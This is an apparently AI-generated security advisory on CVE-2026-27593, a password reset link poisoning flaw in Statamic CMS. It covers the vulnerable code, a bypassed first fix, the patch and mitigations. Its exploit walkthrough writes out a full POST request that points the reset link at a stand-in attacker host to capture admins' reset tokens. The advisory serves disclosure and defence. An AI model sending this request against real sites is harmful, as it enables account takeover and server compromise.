CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27593
9.3

CVE-2026-27593: Statamic's 'Choose Your Own Adventure' Password Reset

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 24, 2026·5 min read·34 visits

PoC Available

Executive Summary (TL;DR)

Statamic CMS allowed users to define the `_reset_url` parameter in password reset requests without validation. Attackers can abuse this to redirect the password reset token to their own domain when a victim clicks the link in a legitimate email. This leads to full account takeover.

A critical vulnerability in Statamic CMS turns the password reset feature into an account takeover weapon. By injecting a malicious base URL into the reset request, attackers can force the system to email valid users a link that sends their reset token directly to the attacker's server.

The Hook: Asking Nicely for a Password

In the world of web security, there is a golden rule that every junior developer learns (and eventually ignores): Never Trust User Input.

Statamic, a popular "flat-file first" Laravel CMS, unfortunately decided to be a little too trusting. In an effort to make their system flexible, they allowed developers to customize where a user lands after clicking a password reset link. This was controlled by a simple parameter in the POST request called _reset_url.

Ideally, this parameter would just point to a relative path like /reset-password. But because the code didn't validate the input, it became a "Choose Your Own Adventure" for hackers. Instead of sending the user to the CMS's reset page, an attacker could politely ask the CMS to send the user—and their precious reset token—straight to an evil server controlled by the attacker.

The Flaw: A Classic Host Header Injection

This vulnerability (CWE-640) is a textbook example of Password Reset Link Poisoning. The mechanism is simple: the application generates a cryptographic token (abc123...) that proves you are the account owner. It needs to send this token to you in a link.

The flaw resides in how Statamic constructed that link. Instead of using the server's configured APP_URL or ROOT domain, it prioritized the user-supplied _reset_url from the incoming HTTP request.

When the legitimate application processes the password reset request, it dutifully composes an email to the victim. It says, "Hey, here is your link!" followed by {_reset_url}?token={secret}. If I, the attacker, set _reset_url to https://evil-hacker.com, the valid Statamic server sends a valid email to the victim pointing to my website. The moment the victim clicks that link, their browser sends a GET request to my server, appending their secret token in the query string. Game over.

The Code: The Failed Fix and The Real Fix

The remediation history for this bug is almost as interesting as the bug itself. It highlights a common developer fallacy: attempting to sanitize input with regex or string matching instead of strict validation.

The Original Sin: The code simply accepted the input:

if ($url = $request->_reset_url) {
    // No validation whatsoever
    PasswordReset::resetFormUrl(URL::makeAbsolute($url));
}

The Failed Fix (Attempt 1): The developers realized this was bad and tried to ensure the URL started with the site's legitimate URL using Str::startsWith.

// Flawed Logic
$isExternal = ... ->filter(fn ($siteUrl) => Str::startsWith($url, $siteUrl))->isEmpty();

Why it failed: Str::startsWith is dumb. If your site is https://example.com, and I send https://example.com.attacker.com, the check passes because the string technically starts with the correct characters. This is a classic subdomain/suffix bypass.

The Real Fix (Attempt 2): The final patch (v5.73.10 / v6.3.3) stops playing games with strings and parses the actual domain structure.

// Solid Logic
$urlDomain = parse_url($url, PHP_URL_HOST);
// ... compare $urlDomain strictly against known site domains

By parsing the host, example.com and example.com.attacker.com are treated as distinct entities, closing the vulnerability.

The Exploit: Phishing with a Perfect Disguise

Let's walk through how a black-hat would weaponize this. The beauty of this attack is that the phishing email comes from the legitimate server. It passes SPF, DKIM, and DMARC checks because it is a real email from the system.

Step 1: Recon The attacker finds a Statamic login page and identifies the admin email (e.g., admin@target-corp.com).

Step 2: The Poisoned Request The attacker sends a POST request to the password reset endpoint:

POST /!/auth/password/email HTTP/1.1
Host: target-corp.com
Content-Type: application/x-www-form-urlencoded
 
email=admin@target-corp.com&_reset_url=https://attacker-logger.com/collect

Step 3: The Trap The target admin receives an email: "Someone requested a password reset. If this was you, click here." The link looks like a button. The admin thinks, "Weird, I didn't request this," but curiosity (or fear of being hacked) often drives them to click it to "cancel" or investigate.

Step 4: The Capture The admin clicks. Their browser opens https://attacker-logger.com/collect?token=VERY_SECRET_TOKEN&email=.... The attacker's access logs now contain the keys to the kingdom.

The Impact: From Zero to Admin

Why is this rated CVSS 9.3 (Critical)? Because in a CMS environment, Administrator access is usually synonymous with Remote Code Execution (RCE).

Once the attacker uses the stolen token to reset the admin's password and log in, they can typically:

  1. Edit templates or upload plugins.
  2. Inject PHP code into those templates.
  3. Execute shell commands on the server.

This vulnerability bypasses all authentication perimeters. It doesn't matter how strong the admin's password was; the reset mechanism itself was the weak link. It requires user interaction (clicking the link), but since the email is legitimate, the success rate is exponentially higher than standard phishing.

The Fix: Stop the Bleeding

If you are running Statamic v5 or v6, you are likely vulnerable. The patch is straightforward.

Immediate Action: Update to v5.73.10 or v6.3.3 immediately. These versions enforce strict domain whitelisting for the reset URL.

Defense in Depth: Even after patching, you should harden your environment:

  1. WAF Rules: Block any request containing _reset_url if your application doesn't actually need that feature (most don't).
  2. Hardcode URLs: Ensure your APP_URL environment variable is set correctly and forcing HTTPS.
  3. Trust Proxies: Configure your TrustProxies middleware in Laravel to only trust headers from known load balancers, preventing Host header spoofing which can sometimes achieve similar results.

Official Patches

StatamicStatamic v5.73.10 Release Notes
StatamicStatamic v6.3.3 Release Notes

Fix Analysis (2)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Statamic CMS v5 < 5.73.10Statamic CMS v6 < 6.3.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
Statamic CMS
Statamic
< 5.73.105.73.10
Statamic CMS
Statamic
>= 6.0.0-alpha.1 < 6.3.36.3.3
AttributeDetail
CWE IDCWE-640
Attack VectorNetwork
CVSS Score9.3 (Critical)
Exploit StatusPoC Available
ImpactAccount Takeover
PlatformPHP / Laravel

MITRE ATT&CK Mapping

T1204.001User Execution: Malicious Link
Execution
T1566Phishing
Initial Access
T1078Valid Accounts
Defense Evasion
CWE-640
Weak Password Recovery Mechanism

Weak Password Recovery Mechanism for Forgotten Password

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing the logic for the bypass and exploit

Vulnerability Timeline

Initial insufficient fix attempted
2026-02-18
Patched versions 5.73.10 and 6.3.3 released
2026-02-20
Public disclosure of CVE-2026-27593
2026-02-24

References & Sources

  • [1]GHSA-jxq9-79vj-rgvw

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.